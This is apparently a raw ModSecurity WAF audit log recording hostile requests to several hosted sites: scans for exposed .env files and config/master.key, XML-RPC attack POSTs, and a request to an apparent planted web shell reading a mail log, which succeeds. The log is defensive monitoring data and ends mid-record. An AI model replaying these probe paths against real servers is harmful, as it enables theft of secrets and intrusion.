[tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wp-konfig.bak"] [unique_id "aE9IQRAGYpjnkyifC9Yl-QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026305490841 721750 (- - -) Stopwatch2: 1750026305490841 721750; combined=2069, p1=335, p2=1613, p3=0, p4=0, p5=120, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4dc44b79-Z-- --f2ab1125-A-- [16/Jun/2025:03:55:19.628690 +0530] aE9ITlR6EeXjkGzEkblqmAAAAAs 185.177.72.210 34238 127.0.0.1 7081 --f2ab1125-B-- GET /repository/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f2ab1125-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d50c5f75976027a6b8010f7161bba8c81750026319; expires=Sun, 15 Jun 2025 23:25:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f2ab1125-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/repository/.env"] [unique_id "aE9ITlR6EeXjkGzEkblqmAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026318979993 648768 (- - -) Stopwatch2: 1750026318979993 648768; combined=1851, p1=394, p2=1370, p3=0, p4=0, p5=86, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f2ab1125-Z-- --fc0bd00e-A-- [16/Jun/2025:03:55:23.597261 +0530] aE9IUn2GhYywD7zZgx7_9AAAAAM 185.177.72.210 34964 127.0.0.1 7081 --fc0bd00e-B-- GET /:10000/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fc0bd00e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2a95e0a66513ce85200c65fce51d4cbe1750026323; expires=Sun, 15 Jun 2025 23:25:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fc0bd00e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/statisch/.env"] [unique_id "aE9IUn2GhYywD7zZgx7_9AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026322952506 644827 (- - -) Stopwatch2: 1750026322952506 644827; combined=1675, p1=381, p2=1199, p3=0, p4=0, p5=95, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc0bd00e-Z-- --521ade2a-A-- [16/Jun/2025:03:55:30.725001 +0530] aE9IWh-kH31pk4mNbsVExAAAAAo 185.177.72.210 40268 127.0.0.1 7081 --521ade2a-B-- GET /:9000/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --521ade2a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=94fcb14b016e7f67a7378e7e474bef6f1750026330; expires=Sun, 15 Jun 2025 23:25:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --521ade2a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/sicherung/.env"] [unique_id "aE9IWh-kH31pk4mNbsVExAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026330069692 655384 (- - -) Stopwatch2: 1750026330069692 655384; combined=1735, p1=396, p2=1232, p3=0, p4=0, p5=106, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --521ade2a-Z-- --7db1ff46-A-- [16/Jun/2025:03:55:31.726636 +0530] aE9IW0NwpNEMJppxC49XogAAAAI 185.177.72.210 40320 127.0.0.1 7081 --7db1ff46-B-- GET /flask/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7db1ff46-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eb0d45e8d296ed08854674bc24a8f10f1750026331; expires=Sun, 15 Jun 2025 23:25:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7db1ff46-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/flask/.env"] [unique_id "aE9IW0NwpNEMJppxC49XogAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026331066704 660001 (- - -) Stopwatch2: 1750026331066704 660001; combined=1626, p1=348, p2=1159, p3=0, p4=0, p5=118, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7db1ff46-Z-- --6195463f-A-- [16/Jun/2025:03:55:39.778404 +0530] aE9IY_NXjUHq-Wm7C_8UBAAAAAQ 23.21.227.240 46286 127.0.0.1 7081 --6195463f-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//var/log&viewfile=//var/log/maillog.processed.2.gz HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 23.21.227.240 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --6195463f-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2957 Connection: close Content-Type: text/html; charset=UTF-8 --6195463f-H-- Message: Warning. Matched phrase "var/log/maillog" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: var/log/maillog found within ARGS:viewfile: /var/log/maillog.processed.2.gz"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "var/log/maillog" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: var/log/maillog found within ARGS:viewfile: /var/log/maillog.processed.2.gz"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9IY_NXjUHq-Wm7C_8UBAAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750026339774208 4270 (- - -) Stopwatch2: 1750026339774208 4270; combined=2339, p1=351, p2=1850, p3=39, p4=34, p5=65, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6195463f-Z-- --4c575403-A-- [16/Jun/2025:03:55:57.123254 +0530] aE9IdIrLgrklqy57Kk2h-AAAAAg 185.177.72.210 59788 127.0.0.1 7081 --4c575403-B-- GET /:8443/data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4c575403-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8d90549df9115cb79d25fafc4c3184631750026356; expires=Sun, 15 Jun 2025 23:25:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4c575403-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/data/.env"] [unique_id "aE9IdIrLgrklqy57Kk2h-AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026356469142 654176 (- - -) Stopwatch2: 1750026356469142 654176; combined=1672, p1=382, p2=1188, p3=0, p4=0, p5=102, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c575403-Z-- --48dee210-A-- [16/Jun/2025:03:56:02.548099 +0530] aE9IebIOonfcVDbK8_bq1gAAAAA 128.199.112.101 56824 127.0.0.1 7081 --48dee210-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --48dee210-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --48dee210-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9IebIOonfcVDbK8_bq1gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026361497413 1050746 (- - -) Stopwatch2: 1750026361497413 1050746; combined=189439, p1=401, p2=1786, p3=61, p4=87, p5=93599, sr=109, sw=161, l=0, gc=93344 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --48dee210-Z-- --91eb8c52-A-- [16/Jun/2025:03:56:04.848479 +0530] aE9IfFR6EeXjkGzEkblqrwAAAAs 185.177.72.210 56900 127.0.0.1 7081 --91eb8c52-B-- GET /:8443/administrateur/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --91eb8c52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e30f56b05000ab1a9304db4694ae9a41750026364; expires=Sun, 15 Jun 2025 23:26:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --91eb8c52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/administrateur/.env.production"] [unique_id "aE9IfFR6EeXjkGzEkblqrwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026364184002 664540 (- - -) Stopwatch2: 1750026364184002 664540; combined=1819, p1=419, p2=1278, p3=0, p4=0, p5=122, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91eb8c52-Z-- --e48faa7a-A-- [16/Jun/2025:03:56:12.825943 +0530] aE9IhENwpNEMJppxC49XtgAAAAI 185.177.72.210 40508 127.0.0.1 7081 --e48faa7a-B-- GET /:5000/.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e48faa7a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=745a9a99dde9885eba87f8a8a3dc7fa11750026372; expires=Sun, 15 Jun 2025 23:26:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e48faa7a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.save.1"] [unique_id "aE9IhENwpNEMJppxC49XtgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026372144158 681847 (- - -) Stopwatch2: 1750026372144158 681847; combined=1936, p1=401, p2=1438, p3=0, p4=0, p5=97, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e48faa7a-Z-- --36081745-A-- [16/Jun/2025:03:57:02.970300 +0530] aE9ItUNwpNEMJppxC49XyQAAAAI 128.199.112.101 35862 127.0.0.1 7081 --36081745-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --36081745-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --36081745-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ItUNwpNEMJppxC49XyQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026421940045 1030323 (- - -) Stopwatch2: 1750026421940045 1030323; combined=2644, p1=545, p2=1677, p3=42, p4=64, p5=197, sr=180, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36081745-Z-- --45fec56d-A-- [16/Jun/2025:03:57:08.248856 +0530] aE9Iu1xTdrwJSUMoZvGwZAAAAAc 185.177.72.210 36082 127.0.0.1 7081 --45fec56d-B-- GET /tests/default_settings/v10.0/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --45fec56d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b2c7ba8914f200ae07a549e8953dcfc61750026428; expires=Sun, 15 Jun 2025 23:27:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --45fec56d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/default_settings/v10.0/.env"] [unique_id "aE9Iu1xTdrwJSUMoZvGwZAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026427435858 813067 (- - -) Stopwatch2: 1750026427435858 813067; combined=2318, p1=502, p2=1730, p3=0, p4=0, p5=85, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --45fec56d-Z-- --791b104d-A-- [16/Jun/2025:03:57:20.025975 +0530] aE9Ix0NwpNEMJppxC49X2QAAAAI 185.177.72.210 51330 127.0.0.1 7081 --791b104d-B-- GET /:8000/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --791b104d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dabbcd159774397f58443f6818a46d461750026439; expires=Sun, 15 Jun 2025 23:27:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --791b104d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/dev/.env"] [unique_id "aE9Ix0NwpNEMJppxC49X2QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026439292767 733270 (- - -) Stopwatch2: 1750026439292767 733270; combined=2044, p1=449, p2=1503, p3=0, p4=0, p5=92, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --791b104d-Z-- --40a22f0d-A-- [16/Jun/2025:03:57:29.585690 +0530] aE9I0FxTdrwJSUMoZvGwcwAAAAc 185.177.72.210 46158 127.0.0.1 7081 --40a22f0d-B-- GET /config/master.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --40a22f0d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2310e5bdf67ce3d84be9b381368e3eae1750026449; expires=Sun, 15 Jun 2025 23:27:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --40a22f0d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/master.key"] [unique_id "aE9I0FxTdrwJSUMoZvGwcwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026448940931 644823 (- - -) Stopwatch2: 1750026448940931 644823; combined=1644, p1=318, p2=1213, p3=0, p4=0, p5=112, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --40a22f0d-Z-- --e8fa5e30-A-- [16/Jun/2025:03:57:35.719605 +0530] aE9I132GhYywD7zZgx4AOwAAAAM 185.177.72.210 52814 127.0.0.1 7081 --e8fa5e30-B-- GET /:5601/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8fa5e30-F-- HTTP/1.1 404 Not Found X-Powered-By: 